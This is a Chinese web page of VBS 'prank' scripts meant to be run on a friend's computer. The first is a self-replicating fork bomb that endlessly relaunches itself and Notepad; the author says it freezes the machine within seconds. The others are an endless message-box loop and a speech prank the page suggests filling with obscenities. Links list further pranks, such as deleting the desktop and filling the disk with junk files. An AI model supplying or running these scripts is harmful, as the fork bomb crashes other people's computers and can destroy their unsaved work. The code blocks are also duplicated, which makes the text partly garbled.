vbs恶作剧(整人代码)-死循环 讲故事等
发布时间：2014-10-13 编辑：jiaochengji.com
vbs恶作剧(整人代码)-死循环 讲故事等，喜欢恶搞的朋友，可以看看哈。把以下代码保存为xxx.vbs，然后双击运行即可。
1、死循环
复制代码 代码示例:
set s.createobject("wscript.shell")
lsfile=wscript.scriptfullname '获得自己的名称
do '死循环
s.run lsfile '自己运行自己
s.run "notepad" '运行记事本
loop '几秒就死机，哈
lsfile=wscript.scriptfullname '获得自己的名称
do '死循环
s.run lsfile '自己运行自己
s.run "notepad" '运行记事本
loop '几秒就死机，哈
2、来个绿色环保型的：
复制代码 代码示例:
dim a
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"
注：ha ha ha... 可以改为几句粗话！！
输入中文后英文要取决于你的电脑会讲英文还是中文！
3、讲故事的
复制代码 代码示例:
dim a
a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if
a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if
您可能感兴趣的文章：
vbs恶作剧(整人代码)-死循环 讲故事等
vbs恶作剧(整人代码)-感人的文章(我是猪)
vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等
vbs恶作剧(整人代码)-写入大量的垃圾文件，吓哭他
vbs恶作剧(整人代码)-让他承认自己是大傻B
vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等
vbs恶作剧(整人代码)-网页整人效果
vbs恶作剧(整人代码)-将默认页设置为百度
vbs整人代码-输入指定的话不然不关闭
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等
[关闭]